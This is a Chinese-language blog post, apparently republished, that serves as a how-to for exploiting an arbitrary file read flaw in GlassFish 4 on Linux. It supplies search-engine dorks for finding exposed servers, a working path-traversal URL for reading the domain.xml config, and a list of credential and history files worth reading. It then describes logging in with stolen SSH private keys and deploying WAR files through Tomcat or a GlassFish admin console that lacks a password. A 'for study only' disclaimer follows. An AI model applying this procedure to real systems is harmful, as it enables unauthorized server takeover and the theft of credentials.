• 利用glassfish4任意文件读取拿权限的一些思路


    只要讨论的是linux环境
    测试发现只针对GlassFish4,且基本上是已root运行的
    http://www.wooyun.org/bugs/wooyun-2010-0144595

    zoomeye dork
    GlassFish Server Open Source Edition 4.1 
    放张图

    nosec的dork 
    body="Copyright © 2005, 2013, Oracle and/or its affiliates. All rights reserved. Oracle and Java are registered trademarks of Oracle and/or its affiliates. Other names may be trademarks of their respective owners."

    放张图

    竟然是读文件,先来看看linux下比较敏感的文件
    /etc/issue 版本信息
    /var/spool/cron/crontabs/root 定时任务
    /etc/passwd 
    /root/.bash_history bash环境下的命令执行历史记录
    /root/.pgpass 记录连接postgressql服务器的密码
    /root/.psql_history potgressql客户端的执行的sql语句历史记录

    重点关注/etc/passwd文件,后面带有的:/bin/bash 这个文件告诉我们有那些用户,会分别对应/home/下的文件夹(默认情况下) 
    还有/root/.bash_history,这里面敏感信息比较多。

    各种数据库密码:

    url:http://xxxxx:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/domain.xml

    我遇到的情况

    利用ssh的秘钥认证

    ssh-keygen -t rsa 默认会在~/.ssh/目录下生成两个文件id_rsa(私钥) 和id_ras.pub(公钥) 
    mv id_rsa.pub authorized_keys
    authorized_keys这个文件和ssh公钥认证有关,在用ssh登陆的时候,有私钥就可以免密码登陆。

    把id_rsa复制到本机的 ~/.ssh/目录记得要把权限改成600哦

    然后就可以登陆了

       

    一句话总结就是,服务端的authorized_keys内的公钥对应的私钥被你知道了
    把私钥放到你本机的~/.ssh/id_rsa,就可以使用ssh登陆  

    利用tomcat部署war包

    运气好的话读取下tomcat目录下的
    /conf/tomcat-users.xml,也许没有注释掉,再部署war包

    利用GlassFish部署war包

    密码文件在GlassFish安装目录下
    /glassfish/domains/domain1/config/admin-keyfile
    可惜不是明文

    另外:在zoomeye搜GlassFish还有部分机子是没有密码就可以登陆哦!

    利用PostgreSQL

    注: 
    本文仅供学习交流,请勿用于非法用途。

  • 相关阅读:
    Harbor私有镜像仓库(下)
    项目课---企业级Memcached服务应用实践(八)
    项目课---OpVEN架构实施方案(七)
    项目课---Mha-Atlas-MySQL高可用方案实践(六)
    Nginx 反向代理
    Ansible搭建LNMP
    Ansible
    Ansible运维自动化
    JAVA企业级应用服务器之TOMCAT实战
    ssh自动分发密匙脚本样板
  • 原文地址:https://www.cnblogs.com/icez/p/GlassFish4_Arbitrary_file_read_vulnerabilit_exploit.html
Copyright © 2020-2023  润新知